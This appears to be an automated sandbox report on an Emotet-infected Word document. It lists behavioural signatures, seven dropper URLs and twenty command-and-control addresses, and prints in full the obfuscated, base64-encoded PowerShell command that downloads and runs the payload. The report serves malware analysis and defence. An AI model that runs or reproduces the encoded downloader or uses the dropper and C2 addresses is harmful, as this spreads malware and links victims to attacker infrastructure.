Analysis

  • max time kernel
    138s
  • max time network
    147s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    19/09/2020, 06:45

General

  • Target
    からの変更20_09.doc
  • Size 188KB
  • Sample200919-jsp7qpfg2e
  • SHA256 20afdfa7a7c7a299565cdd046c41bcbea4b1cbdc4041edc9f0e51d52dac04a0c
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://geisterhouse.com/cgi-bin/LAb1/

  • exe.dropper

    http://amyemitchell.com/themes/w/

  • exe.dropper

    http://forestanalytics.net/images/57A7/

  • exe.dropper

    https://konican.com/cgi-bin/cWu/

  • exe.dropper

    http://strike3productions.com/squad/3aV6xrH/

  • exe.dropper

    http://riandutra.com/img/wOMENgh/

  • exe.dropper

    http://justinscott.com.au/sites/rRS/

Extracted

Family
  • emotet

C2
  • 71.72.196.159:80

  • 134.209.36.254:8080

  • 120.138.30.150:8080

  • 94.23.216.33:80

  • 157.245.99.39:8080

  • 137.59.187.107:8080

  • 94.23.237.171:443

  • 61.19.246.238:443

  • 156.155.166.221:80

  • 50.35.17.13:80

  • 153.137.36.142:80

  • 91.211.88.52:7080

  • 209.141.54.221:8080

  • 185.94.252.104:443

  • 174.45.13.118:80

  • 87.106.136.232:8080

  • 62.75.141.82:80

  • 213.196.135.145:80

  • 188.219.31.12:80

  • 82.80.155.43:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 6 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 9 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\からの変更20_09.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3816
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -en JABMAGwAZABsAGsANQB0AD0AKAAoACcAVAAnACsAJwBoAG0AZwAyACcAKQArACcAaQB3ACcAKQA7AC4AKAAnAG4AZQB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAGUATgBWADoAVQBTAEUAUgBwAHIAbwBGAEkAbABFAFwARQBwADEAcwA4AFUAVgBcAGMAZABjADgAYgA2AFUAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAFIARQBDAHQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBDAFUAcgBgAGkAYABUAGAAWQBQAHIATwBUAE8AYABDAG8ATAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzADEAJwApACsAJwAyACcAKwAoACcALAAgAHQAJwArACcAbAAnACkAKwAoACcAcwAxADEALAAgAHQAJwArACcAbABzACcAKQApADsAJABMAGkAOAAzAHAAbQBoACAAPQAgACgAKAAnAE0ANQAnACsAJwBrAG0ANAAxACcAKQArACcANwA2ACcAKQA7ACQAUwA0AHgAdQBfAHEAdwA9ACgAKAAnAEMAbQBkAGkANwAnACsAJwA5ACcAKQArACcAbQAnACkAOwAkAEsANgBkADcAMgB3ADgAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACgAJwB6ACcAKwAnADEAJwArACcAeQBFAHAAMQBzACcAKwAnADgAdQB2AHoAJwApACsAJwAxAHkAJwArACgAJwBDAGQAYwAnACsAJwA4AGIAJwApACsAKAAnADYAdQB6ACcAKwAnADEAeQAnACkAKQAuACIAcgBFAHAAYABsAGEAYwBlACIAKAAoAFsAYwBoAGEAcgBdADEAMgAyACsAWwBjAGgAYQByAF0ANAA5ACsAWwBjAGgAYQByAF0AMQAyADEAKQAsACcAXAAnACkAKQArACQATABpADgAMwBwAG0AaAArACgAJwAuACcAKwAoACcAZQAnACsAJwB4AGUAJwApACkAOwAkAEIAMwB6AGgAcAB5ADYAPQAoACgAJwBLAHAAJwArACcAaQAnACkAKwAoACcAdQAnACsAJwBpAGEAMQAnACkAKQA7ACQASQB4AGMAcwBnAG8AMQA9AC4AKAAnAG4AJwArACcAZQB3AC0AJwArACcAbwBiAGoAZQBjAHQAJwApACAAbgBlAHQALgB3AEUAYgBDAEwASQBFAG4AVAA7ACQASAB4AHoANABvAHgAYQA9ACgAKAAnAGgAJwArACcAdAB0AHAAOgAnACkAKwAnAC8ALwAnACsAKAAnAGcAZQBpAHMAdAAnACsAJwBlACcAKQArACgAJwByACcAKwAnAGgAbwAnACkAKwAnAHUAcwAnACsAKAAnAGUALgAnACsAJwBjACcAKQArACgAJwBvAG0AJwArACcALwAnACkAKwAoACcAYwBnAGkAJwArACcALQBiAGkAJwArACcAbgAnACsAJwAvAEwAJwApACsAKAAnAEEAYgAnACsAJwAxACcAKQArACgAJwAvACoAaAAnACsAJwB0AHQAcAA6ACcAKQArACgAJwAvACcAKwAnAC8AYQBtACcAKQArACgAJwB5ACcAKwAnAGUAbQBpAHQAJwApACsAKAAnAGMAaAAnACsAJwBlAGwAJwApACsAJwBsACcAKwAnAC4AJwArACcAYwBvACcAKwAnAG0AJwArACgAJwAvAHQAJwArACcAaAAnACkAKwAnAGUAJwArACgAJwBtAGUAJwArACcAcwAnACkAKwAnAC8AdwAnACsAJwAvACoAJwArACgAJwBoAHQAJwArACcAdABwACcAKQArACcAOgAnACsAJwAvAC8AJwArACcAZgAnACsAJwBvACcAKwAoACcAcgAnACsAJwBlAHMAdAAnACkAKwAnAGEAbgAnACsAJwBhACcAKwAoACcAbAB5AHQAJwArACcAaQBjAHMALgAnACsAJwBuAGUAJwApACsAKAAnAHQALwAnACsAJwBpAG0AYQAnACkAKwAoACcAZwBlAHMALwA1ADcAJwArACcAQQA3AC8AKgBoAHQAdABwAHMAOgAvAC8AawAnACsAJwBvAG4AaQAnACsAJwBjACcAKwAnAGEAJwArACcAbgAuAGMAbwAnACkAKwAnAG0AJwArACgAJwAvACcAKwAnAGMAZwBpAC0AJwApACsAKAAnAGIAaQAnACsAJwBuAC8AYwAnACkAKwAoACcAVwAnACsAJwB1AC8AKgAnACsAJwBoAHQAdAAnACkAKwAnAHAAOgAnACsAKAAnAC8ALwBzAHQAJwArACcAcgAnACkAKwAoACcAaQBrAGUAMwAnACsAJwBwACcAKQArACgAJwByAG8AJwArACcAZAB1ACcAKQArACcAYwAnACsAKAAnAHQAJwArACcAaQBvAG4AcwAuAGMAbwAnACkAKwAnAG0AJwArACgAJwAvAHMAcQAnACsAJwB1AGEAZAAvACcAKQArACgAJwAzAGEAJwArACcAVgAnACkAKwAnADYAJwArACgAJwB4AHIAJwArACcASAAvACcAKQArACcAKgBoACcAKwAoACcAdAB0ACcAKwAnAHAAOgAvACcAKwAnAC8AcgBpAGEAJwApACsAJwBuAGQAJwArACgAJwB1AHQAJwArACcAcgAnACkAKwAoACcAYQAuACcAKwAnAGMAbwBtAC8AaQAnACkAKwAnAG0AJwArACgAJwBnAC8AdwAnACsAJwBPACcAKQArACgAJwBNAEUAJwArACcATgBnACcAKQArACgAJwBoAC8AKgAnACsAJwBoACcAKQArACcAdAB0ACcAKwAnAHAAJwArACgAJwA6AC8ALwBqAHUAcwB0ACcAKwAnAGkAbgAnACkAKwAnAHMAYwAnACsAKAAnAG8AdAB0ACcAKwAnAC4AJwArACcAYwBvAG0AJwApACsAKAAnAC4AJwArACcAYQB1ACcAKQArACcALwAnACsAKAAnAHMAaQB0AGUAcwAnACsAJwAvACcAKQArACgAJwByAFIAJwArACcAUwAvACoAJwApACkALgAiAFMAYABwAEwASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARwBiAHYAYgA3AGUAMgA9ACgAJwBTAHMAJwArACgAJwB4ACcAKwAnADgAcwAnACkAKwAnAG8AdwAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABaAHoAYwBxADIAcwBoACAAaQBuACAAJABIAHgAegA0AG8AeABhACkAewB0AHIAeQB7ACQASQB4AGMAcwBnAG8AMQAuACIARABgAE8AVwBgAE4AbABPAEEAZABmAGAAaQBsAEUAIgAoACQAWgB6AGMAcQAyAHMAaAAsACAAJABLADYAZAA3ADIAdwA4ACkAOwAkAFkAcQAyADAAZwB4ADcAPQAoACgAJwBZACcAKwAnAGUAZQAnACkAKwAnAHUAJwArACgAJwBpAGMAJwArACcAcAAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAnACsAJwAtAEkAdABlACcAKwAnAG0AJwApACAAJABLADYAZAA3ADIAdwA4ACkALgAiAGwAZQBgAE4ARwBgAFQAaAAiACAALQBnAGUAIAAyADEANQAxADQAKQAgAHsALgAoACcASQBuACcAKwAnAHYAbwBrACcAKwAnAGUALQBJAHQAJwArACcAZQBtACcAKQAoACQASwA2AGQANwAyAHcAOAApADsAJABSAF8ANQBuAGsAYQA4AD0AKAAoACcAWQByACcAKwAnADgAYQAwACcAKQArACcAYQBhACcAKQA7AGIAcgBlAGEAawA7ACQASQB3ADMAawAyAGoAdwA9ACgAKAAnAE4AYwAyAGEAJwArACcAZwAnACkAKwAnAHQAJwArACcAeQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE8AagA1AHAAMwB0AHkAPQAoACgAJwBWACcAKwAnADkAaQBmACcAKQArACgAJwAwAGIAJwArACcAYQAnACkAKQA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2820
    • C:\Users\Admin\Ep1s8uv\Cdc8b6u\M5km4176.exe
      "C:\Users\Admin\Ep1s8uv\Cdc8b6u\M5km4176.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of WriteProcessMemory
      PID:3600
      • C:\Windows\SysWOW64\t2embed\PhotoMetadataHandler.exe
        "C:\Windows\SysWOW64\t2embed\PhotoMetadataHandler.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        PID:3736

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/2820-9-0x000001F669F40000-0x000001F669F41000-memory.dmp

        memory/2820-8-0x00007FF8BC1B0000-0x00007FF8BCB9C000-memory.dmp

        memory/2820-10-0x000001F66A0F0000-0x000001F66A0F1000-memory.dmp

        memory/3600-14-0x00000000006E0000-0x00000000006F2000-memory.dmp

        memory/3600-15-0x00000000001F0000-0x0000000000200000-memory.dmp

        memory/3736-18-0x00000000004C0000-0x00000000004D2000-memory.dmp

        memory/3816-7-0x000002AC61E29000-0x000002AC61E39000-memory.dmp

        memory/3816-0-0x00007FF8C91B0000-0x00007FF8C9876000-memory.dmp

        memory/3816-6-0x000002AC61E29000-0x000002AC61E39000-memory.dmp

        memory/3816-4-0x000002AC61F19000-0x000002AC61F22000-memory.dmp

        memory/3816-5-0x000002AC61E29000-0x000002AC61E39000-memory.dmp

        memory/3816-3-0x000002AC61E29000-0x000002AC61E39000-memory.dmp

        memory/3816-2-0x000002AC61E29000-0x000002AC61E39000-memory.dmp